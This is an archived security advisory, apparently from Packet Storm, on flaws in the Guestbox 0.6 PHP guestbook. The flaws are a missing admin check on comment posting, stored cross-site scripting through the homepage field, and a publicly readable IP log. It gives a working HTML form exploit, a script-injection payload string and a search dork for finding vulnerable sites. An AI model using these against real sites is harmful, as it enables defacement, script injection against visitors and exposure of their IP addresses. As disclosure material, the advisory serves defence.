exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

guestbook06.txt

guestbook06.txt
Posted Feb 25, 2006
Authored by l0om | Site excluded.org

Login - Guestbox version 0.6 suffers from cross site scripting and administrative bypass flaws.

tags | exploit, xss
SHA-256 | e7678dce241a98b21a240835ec53db5b588aaa2c1116c60056d1f0f6406a043e

guestbook06.txt

Change Mirror Download
author.:  l0om  -  www.excluded.org
product: guestbox (latest non-BETA) 0.6
page: http://spring.realone.ch
dork: "Login - Guestbox 0.6" inurl:guestbox.php

someone asked me to check the guestbook named "guestbox" and thats
the advisory based on my checks.

1.0 everyone can set admin comments to all entries
--------------------------------------------------
in case of setting an admin comment to some gb entry you normaly have
to log in as admin. as you can see in the sources down you dont need
to be logged in as admin to set an admin comment because the programmer
missed it to check the "$admin" value at this point of the switch case.

simply create the following html document and post comments as admin:

<html>
<body>
<center>
<form method="post" action="http://WWW.THEPAGE.COM/gb/action.php?action=comment&nummer=ENTRY_NUMBER">
<textarea class="auswahl" name="text" cols="30" rows="3"></textarea><br>
<input type="submit" name="submit" value="comment">
</form>
</center>
</body>
</html>


---8<--- source:action.php ---8<---

[...]
INCLUDE "gb_config.php";
INCLUDE "gb_functions.php";
switch ($_GET['action'])
{
case "comment" :

if (isset($_POST['submit'])) {

//
// admin check????
//
edit_entry($gbdaten, $_GET['nummer'], trim(get_entry($gbdaten, $_GET['nummer'])).preg_replace("/(\015\012)|(\015)|(\012)/","<br />",html
entities($_POST['text'])));
[...]
// like this
if ($admin == 1) {
[...]
<input type=\"submit\" name=\"submit\" value=\"comment\">
</form></center>";
[...]
if ($admin == 1) {
$datei=fopen("./".$gbdaten,"r");
while(feof($datei)==0) {
[...]



2.0 XSS/HTML injection
--------

if you add an entry to the guestbook you can inject javascript code.
there have to be "magic_quotes_gpc" set to "Off" in your php.ini for injection as
it will otherwise qoute out all your GET/POST data...

the sources says:
gbshow.php:
if (preg_match("/http:\/\/.+/i", $data[3])) {
$homepage="<a href=\"$data[3]\" target=\"_blank\"><img src=\"./home.gif\" border=0 alt=".$data[3]."></a>";
[...]

what can be exploited with the following string in the "hompage" field.:

http://"><script>alert('your mom...');</script>test.de

btw: there are a few other ways to inject code to the gb.

if "magic_quotes_pgc" is set to "On" you still can INJECT HTML of course.


3.0 view IPs
------------

for normal its an admin feature to view the ip address of the host which have added the
entry to the guestbook. simply view the guestbook with all data for all entrys with opening
the "<url>/gb/gblog" does the trick for everyone as well.


have phun,
l0om

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    0 Files
  • 17
    May 17th
    0 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close